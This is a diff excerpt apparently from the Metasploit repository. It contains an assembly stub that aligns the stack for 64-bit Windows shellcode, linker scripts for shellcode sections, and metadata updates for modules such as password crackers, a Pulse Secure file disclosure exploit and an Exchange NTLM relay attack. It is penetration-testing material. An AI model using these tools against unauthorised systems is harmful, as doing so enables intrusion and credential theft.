* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
; Author: Matthew Graeber (@mattifestation)
; License: BSD 3-Clause
; Syntax: MASM
; Build Syntax: ml64 /c /Cx AdjustStack.asm
; Output: AdjustStack.obj
; Notes: I really wanted to avoid having this external dependency but I couldnt
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
; shellcode written in C.
extern ExecutePayload
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
segment .text
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP:
push rsi ; Preserve RSI since were stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
@@ -0,0 +1,9 @@
ENTRY(_ExecutePayload)
SECTIONS
{
.text :
{
*(.text.ExecutePayload)
}
}
@@ -0,0 +1,11 @@
ENTRY(AlignRSP)
SECTIONS
{
.text :
{
*(.text.AlignRSP)
*(.text.ExecutePayload)
*(.text.GetProcAddressWithHash)
}
}
+2815 -193
View File
@@ -345,6 +345,43 @@
},
"needs_cleanup": false
},
"auxiliary_admin/brocade/brocade_config": {
"name": "Brocade Configuration Importer",
"fullname": "auxiliary/admin/brocade/brocade_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Brocade device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-07-16 20:52:00 +0000",
"path": "/modules/auxiliary/admin/brocade/brocade_config.rb",
"is_install_path": true,
"ref_name": "admin/brocade/brocade_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/chromecast/chromecast_reset": {
"name": "Chromecast Factory Reset DoS",
"fullname": "auxiliary/admin/chromecast/chromecast_reset",
@@ -483,6 +520,43 @@
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/cisco_config": {
"name": "Cisco Configuration Importer",
"fullname": "auxiliary/admin/cisco/cisco_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Cisco IOS or NXOS device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-07-07 21:49:48 +0000",
"path": "/modules/auxiliary/admin/cisco/cisco_config.rb",
"is_install_path": true,
"ref_name": "admin/cisco/cisco_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/cisco/cisco_dcnm_download": {
"name": "Cisco Data Center Network Manager Unauthenticated File Download",
"fullname": "auxiliary/admin/cisco/cisco_dcnm_download",
@@ -1430,7 +1504,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb",
"is_install_path": true,
"ref_name": "admin/http/dlink_dir_300_600_exec_noauth",
@@ -1968,7 +2042,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/auxiliary/admin/http/jboss_seam_exec.rb",
"is_install_path": true,
"ref_name": "admin/http/jboss_seam_exec",
@@ -2314,7 +2388,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb",
"is_install_path": true,
"ref_name": "admin/http/linksys_wrt54gl_exec",
@@ -2952,7 +3026,7 @@
"https"
],
"targets": null,
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/auxiliary/admin/http/nuuo_nvrmini_reset.rb",
"is_install_path": true,
"ref_name": "admin/http/nuuo_nvrmini_reset",
@@ -3049,7 +3123,7 @@
"https"
],
"targets": null,
"mod_time": "2017-12-30 13:03:36 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb",
"is_install_path": true,
"ref_name": "admin/http/pfadmin_set_protected_alias",
@@ -3102,7 +3176,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:26:34 +0000",
"path": "/modules/auxiliary/admin/http/rails_devise_pass_reset.rb",
"is_install_path": true,
"ref_name": "admin/http/rails_devise_pass_reset",
@@ -3148,7 +3222,7 @@
"https"
],
"targets": null,
"mod_time": "2019-01-10 19:19:14 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/http/scadabr_credential_dump.rb",
"is_install_path": true,
"ref_name": "admin/http/scadabr_credential_dump",
@@ -3491,7 +3565,7 @@
"https"
],
"targets": null,
"mod_time": "2018-05-23 09:32:41 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/http/telpho10_credential_dump.rb",
"is_install_path": true,
"ref_name": "admin/http/telpho10_credential_dump",
@@ -3687,7 +3761,7 @@
"https"
],
"targets": null,
"mod_time": "2019-08-15 18:10:44 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/http/typo3_news_module_sqli.rb",
"is_install_path": true,
"ref_name": "admin/http/typo3_news_module_sqli",
@@ -4425,6 +4499,43 @@
},
"needs_cleanup": false
},
"auxiliary_admin/juniper/juniper_config": {
"name": "Juniper Configuration Importer",
"fullname": "auxiliary/admin/juniper/juniper_config",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module imports a Juniper ScreenOS or JunOS device configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": 22,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-09-30 15:03:38 +0000",
"path": "/modules/auxiliary/admin/juniper/juniper_config.rb",
"is_install_path": true,
"ref_name": "admin/juniper/juniper_config",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/kerberos/ms14_068_kerberos_checksum": {
"name": "MS14-068 Microsoft Kerberos Checksum Validation Vulnerability",
"fullname": "auxiliary/admin/kerberos/ms14_068_kerberos_checksum",
@@ -5113,7 +5224,7 @@
"sybase"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_findandsampledata",
@@ -5158,7 +5269,7 @@
"sybase"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_idf.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_idf",
@@ -5250,7 +5361,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb",
"is_install_path": true,
"ref_name": "admin/mssql/mssql_ntlm_stealer_sqli",
@@ -5578,7 +5689,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 14:22:18 +0000",
"path": "/modules/auxiliary/admin/oracle/ora_ntlm_stealer.rb",
"is_install_path": true,
"ref_name": "admin/oracle/ora_ntlm_stealer",
@@ -6634,7 +6745,7 @@
],
"targets": null,
"mod_time": "2018-12-11 10:02:36 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb",
"is_install_path": true,
"ref_name": "admin/scada/yokogawa_bkbcopyd_client",
@@ -7130,7 +7241,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 13:50:30 +0000",
"path": "/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb",
"is_install_path": true,
"ref_name": "admin/sunrpc/solaris_kcms_readfile",
@@ -7918,7 +8029,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-04-04 20:50:52 +0000",
"path": "/modules/auxiliary/analyze/apply_pot.rb",
"is_install_path": true,
"ref_name": "analyze/apply_pot",
@@ -7929,6 +8040,277 @@
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_aix": {
"name": "Password Cracker: AIX",
"fullname": "auxiliary/analyze/crack_aix",
"aliases": [
"auxiliary/analyze/jtr_aix"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"theLightCosine <theLightCosine@metasploit.com>",
"hdm <x@hdm.io>",
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from passwd files on AIX systems. These utilize DES hashing.\n DES is format 1500 in Hashcat.\n DES is descrypt in JTR.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-10-08 20:31:23 +0000",
"path": "/modules/auxiliary/analyze/crack_aix.rb",
"is_install_path": true,
"ref_name": "analyze/crack_aix",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_databases": {
"name": "Password Cracker: Databases",
"fullname": "auxiliary/analyze/crack_databases",
"aliases": [
"auxiliary/analyze/jtr_mssql",
"auxiliary/analyze/jtr_mysql",
"auxiliary/analyze/jtr_oracle",
"auxiliary/analyze/jtr_postgres"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"theLightCosine <theLightCosine@metasploit.com>",
"hdm <x@hdm.io>",
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from the mssql_hashdump, mysql_hashdump, postgres_hashdump, or oracle_hashdump modules.\n Passwords that have been successfully cracked are then saved as proper credentials.\n Due to the complexity of some of the hash types, they can be very slow. Setting the\n ITERATION_TIMEOUT is highly recommended.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-10-08 20:31:23 +0000",
"path": "/modules/auxiliary/analyze/crack_databases.rb",
"is_install_path": true,
"ref_name": "analyze/crack_databases",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_linux": {
"name": "Password Cracker: Linux",
"fullname": "auxiliary/analyze/crack_linux",
"aliases": [
"auxiliary/analyze/jtr_linux"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"theLightCosine <theLightCosine@metasploit.com>",
"hdm <x@hdm.io>",
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from unshadowed passwd files from Unix/Linux systems. The module will only crack\n MD5, BSDi and DES implementations by default. However, it can also crack\n Blowfish and SHA(256/512), but it is much slower.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-10-08 20:31:23 +0000",
"path": "/modules/auxiliary/analyze/crack_linux.rb",
"is_install_path": true,
"ref_name": "analyze/crack_linux",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_mobile": {
"name": "Password Cracker: Mobile",
"fullname": "auxiliary/analyze/crack_mobile",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module uses Hashcat to identify weak passwords that have been\n acquired from Android systems. These utilize MD5 or SHA1 hashing.\n Android (Samsung) SHA1 is format 5800 in Hashcat. Android\n (non-Samsung) SHA1 is format 110 in Hashcat. Android MD5 is format 10.\n JTR does not support Android hashes at the time of writing.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-11-17 13:44:19 +0000",
"path": "/modules/auxiliary/analyze/crack_mobile.rb",
"is_install_path": true,
"ref_name": "analyze/crack_mobile",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_osx": {
"name": "Password Cracker: OSX",
"fullname": "auxiliary/analyze/crack_osx",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from OSX systems. The module will only crack xsha from OSX 10.4-10.6, xsha512\n from 10.7, and PBKDF2 from OSX 10.8+.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-07-15 19:57:39 +0000",
"path": "/modules/auxiliary/analyze/crack_osx.rb",
"is_install_path": true,
"ref_name": "analyze/crack_osx",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_webapps": {
"name": "Password Cracker: Webapps",
"fullname": "auxiliary/analyze/crack_webapps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from various web applications.\n Atlassian uses PBKDF2-HMAC-SHA1 which is 12001 in hashcat.\n PHPass uses phpass which is 400 in hashcat.\n Mediawiki is MD5 based and is 3711 in hashcat.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-07-15 19:57:39 +0000",
"path": "/modules/auxiliary/analyze/crack_webapps.rb",
"is_install_path": true,
"ref_name": "analyze/crack_webapps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/crack_windows": {
"name": "Password Cracker: Windows",
"fullname": "auxiliary/analyze/crack_windows",
"aliases": [
"auxiliary/analyze/jtr_crack_fast",
"auxiliary/analyze/jtr_windows"
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"theLightCosine <theLightCosine@metasploit.com>",
"hdm <x@hdm.io>",
"h00die"
],
"description": "This module uses John the Ripper or Hashcat to identify weak passwords that have been\n acquired from Windows systems. The module will only crack LANMAN/NTLM hashes.\n LANMAN is format 3000 in hashcat.\n NTLM is format 1000 in hashcat.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2019-10-08 20:31:23 +0000",
"path": "/modules/auxiliary/analyze/crack_windows.rb",
"is_install_path": true,
"ref_name": "analyze/crack_windows",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_analyze/jtr_aix": {
"name": "John the Ripper AIX Password Cracker",
"fullname": "auxiliary/analyze/jtr_aix",
@@ -7942,7 +8324,7 @@
"theLightCosine <theLightCosine@metasploit.com>",
"hdm <x@hdm.io>"
],
"description": "This module uses John the Ripper to identify weak passwords that have been\n acquired from passwd files on AIX systems. These utilize DES hashing.",
"description": "This module uses John the Ripper to identify weak passwords that have been\n acquired from passwd files on AIX systems.",
"references": [
],
@@ -7956,7 +8338,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_aix.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_aix",
@@ -7994,7 +8376,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_linux.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_linux",
@@ -8032,7 +8414,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_mssql_fast.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_mssql_fast",
@@ -8070,7 +8452,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_mysql_fast.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_mysql_fast",
@@ -8108,7 +8490,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_oracle_fast.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_oracle_fast",
@@ -8145,7 +8527,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_postgres_fast.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_postgres_fast",
@@ -8182,7 +8564,7 @@
],
"targets": null,
"mod_time": "2019-03-21 20:54:32 +0000",
"mod_time": "2019-11-07 19:09:52 +0000",
"path": "/modules/auxiliary/analyze/jtr_windows_fast.rb",
"is_install_path": true,
"ref_name": "analyze/jtr_windows_fast",
@@ -8381,7 +8763,7 @@
],
"targets": null,
"mod_time": "2018-08-03 20:13:48 +0000",
"mod_time": "2019-10-05 14:40:27 +0000",
"path": "/modules/auxiliary/client/iec104/iec104.rb",
"is_install_path": true,
"ref_name": "client/iec104/iec104",
@@ -11811,7 +12193,7 @@
],
"targets": null,
"mod_time": "2017-08-24 21:38:44 +0000",
"mod_time": "2019-11-29 07:15:17 +0000",
"path": "/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb",
"is_install_path": true,
"ref_name": "dos/windows/ftp/iis75_ftpd_iac_bof",
@@ -16163,7 +16545,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/gather/ie_sandbox_findfiles.rb",
"is_install_path": true,
"ref_name": "gather/ie_sandbox_findfiles",
@@ -16558,7 +16940,7 @@
],
"targets": null,
"mod_time": "2017-08-26 21:01:10 +0000",
"mod_time": "2019-11-05 18:32:45 +0000",
"path": "/modules/auxiliary/gather/kerberos_enumusers.rb",
"is_install_path": true,
"ref_name": "gather/kerberos_enumusers",
@@ -16605,7 +16987,7 @@
"https"
],
"targets": null,
"mod_time": "2018-08-21 08:50:26 +0000",
"mod_time": "2019-11-05 18:32:45 +0000",
"path": "/modules/auxiliary/gather/konica_minolta_pwd_extract.rb",
"is_install_path": true,
"ref_name": "gather/konica_minolta_pwd_extract",
@@ -16653,7 +17035,7 @@
"sybase"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-05 18:32:45 +0000",
"path": "/modules/auxiliary/gather/lansweeper_collector.rb",
"is_install_path": true,
"ref_name": "gather/lansweeper_collector",
@@ -16873,7 +17255,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/gather/ms14_052_xmldom.rb",
"is_install_path": true,
"ref_name": "gather/ms14_052_xmldom",
@@ -17326,6 +17708,68 @@
},
"needs_cleanup": false
},
"auxiliary_gather/pulse_secure_file_disclosure": {
"name": "Pulse Secure VPN Arbitrary File Disclosure",
"fullname": "auxiliary/gather/pulse_secure_file_disclosure",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-04-24",
"type": "auxiliary",
"author": [
"Orange Tsai",
"Meh Chang",
"Alyssa Herrera",
"Justin Wagner",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a pre-auth directory traversal in the Pulse Secure\n VPN server to dump an arbitrary file. Dumped files are stored in loot.\n\n If the \"Automatic\" action is set, plaintext and hashed credentials, as\n well as session IDs, will be dumped. Valid sessions can be hijacked by\n setting the \"DSIG\" browser cookie to a valid session ID.\n\n For the \"Manual\" action, please specify a file to dump via the \"FILE\"\n option. /etc/passwd will be dumped by default. If the \"PRINT\" option is\n set, file contents will be printed to the screen, with any unprintable\n characters replaced by a period.\n\n Please see related module exploit/linux/http/pulse_secure_cmd_exec for\n a post-auth exploit that can leverage the results from this module.",
"references": [
"CVE-2019-11510",
"URL-https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/",
"URL-https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html",
"URL-https://hackerone.com/reports/591295"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2019-10-31 13:07:41 +0000",
"path": "/modules/auxiliary/gather/pulse_secure_file_disclosure.rb",
"is_install_path": true,
"ref_name": "gather/pulse_secure_file_disclosure",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"RelatedModules": [
"exploit/linux/http/pulse_secure_cmd_exec"
]
},
"needs_cleanup": false
},
"auxiliary_gather/qnap_backtrace_admin_hash": {
"name": "QNAP NAS/NVR Administrator Hash Disclosure",
"fullname": "auxiliary/gather/qnap_backtrace_admin_hash",
@@ -17458,7 +17902,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-09-23 15:29:38 +0000",
"path": "/modules/auxiliary/gather/safari_file_url_navigation.rb",
"is_install_path": true,
"ref_name": "gather/safari_file_url_navigation",
@@ -18187,7 +18631,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-05 18:32:45 +0000",
"path": "/modules/auxiliary/gather/xerox_pwd_extract.rb",
"is_install_path": true,
"ref_name": "gather/xerox_pwd_extract",
@@ -18234,7 +18678,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-05 18:32:45 +0000",
"path": "/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb",
"is_install_path": true,
"ref_name": "gather/xerox_workcentre_5xxx_ldap",
@@ -18443,7 +18887,7 @@
],
"targets": null,
"mod_time": "2017-08-26 21:01:10 +0000",
"mod_time": "2019-09-24 12:15:43 +0000",
"path": "/modules/auxiliary/pdf/foxit/authbypass.rb",
"is_install_path": true,
"ref_name": "pdf/foxit/authbypass",
@@ -18766,7 +19210,7 @@
],
"targets": null,
"mod_time": "2019-06-27 17:06:32 +0000",
"mod_time": "2019-10-03 12:45:09 +0000",
"path": "/modules/auxiliary/scanner/db2/db2_auth.rb",
"is_install_path": true,
"ref_name": "scanner/db2/db2_auth",
@@ -19323,7 +19767,7 @@
],
"targets": null,
"mod_time": "2018-05-31 14:32:31 +0000",
"mod_time": "2019-10-04 21:56:52 +0000",
"path": "/modules/auxiliary/scanner/discovery/udp_probe.rb",
"is_install_path": true,
"ref_name": "scanner/discovery/udp_probe",
@@ -19360,7 +19804,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-03 12:38:36 +0000",
"path": "/modules/auxiliary/scanner/discovery/udp_sweep.rb",
"is_install_path": true,
"ref_name": "scanner/discovery/udp_sweep",
@@ -19770,7 +20214,7 @@
"ftp"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-03 12:47:49 +0000",
"path": "/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/bison_ftp_traversal",
@@ -19811,7 +20255,7 @@
"ftp"
],
"targets": null,
"mod_time": "2017-12-11 14:40:09 +0000",
"mod_time": "2019-10-05 13:50:30 +0000",
"path": "/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/colorado_ftp_traversal",
@@ -19849,7 +20293,7 @@
"ftp"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 13:50:30 +0000",
"path": "/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/easy_file_sharing_ftp",
@@ -19968,7 +20412,7 @@
"ftp"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 13:50:30 +0000",
"path": "/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/konica_ftp_traversal",
@@ -20009,7 +20453,7 @@
"ftp"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-05 13:50:30 +0000",
"path": "/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/pcman_ftp_traversal",
@@ -20050,7 +20494,7 @@
"ftp"
],
"targets": null,
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2019-10-05 13:50:30 +0000",
"path": "/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/ftp/titanftp_xcrc_traversal",
@@ -21232,7 +21676,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-10-21 16:45:42 +0000",
"path": "/modules/auxiliary/scanner/http/brute_dirs.rb",
"is_install_path": true,
"ref_name": "scanner/http/brute_dirs",
@@ -22593,7 +23037,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-19 10:15:46 +0000",
"path": "/modules/auxiliary/scanner/http/dir_listing.rb",
"is_install_path": true,
"ref_name": "scanner/http/dir_listing",
@@ -22639,7 +23083,7 @@
"https"
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2019-11-19 10:15:46 +0000",
"path": "/modules/auxiliary/scanner/http/dir_scanner.rb",
"is_install_path": true,
"ref_name": "scanner/http/dir_scanner",
@@ -23208,7 +23652,7 @@
"https"
],
"targets": null,
"mod_time": "2019-03-05 03:38:51 +0000",
"mod_time": "2019-10-28 03:24:20 +0000",
"path": "/modules/auxiliary/scanner/http/elasticsearch_traversal.rb",
"is_install_path": true,
"ref_name": "scanner/http/elasticsearch_traversal",
@@ -23680,6 +24124,54 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/http/exchange_web_server_pushsubscription": {
"name": "Microsoft Exchange Privilege Escalation Exploit",
"fullname": "auxiliary/scanner/http/exchange_web_server_pushsubscription",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-01-21",
"type": "auxiliary",
"author": [
"_dirkjan",
"Petros Koutroumpis"
],
"description": "This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0724\n Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature.\n This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured.\n The module is based on the work by @_dirkjan,",
"references": [
"CVE-2019-0724",
"URL-https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2019-10-15 15:43:55 +0000",
"path": "/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb",
"is_install_path": true,
"ref_name": "scanner/http/exchange_web_server_pushsubscription",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/http/f5_bigip_virtual_server": {
"name": "F5 BigIP HTTP Virtual Server Scanner",
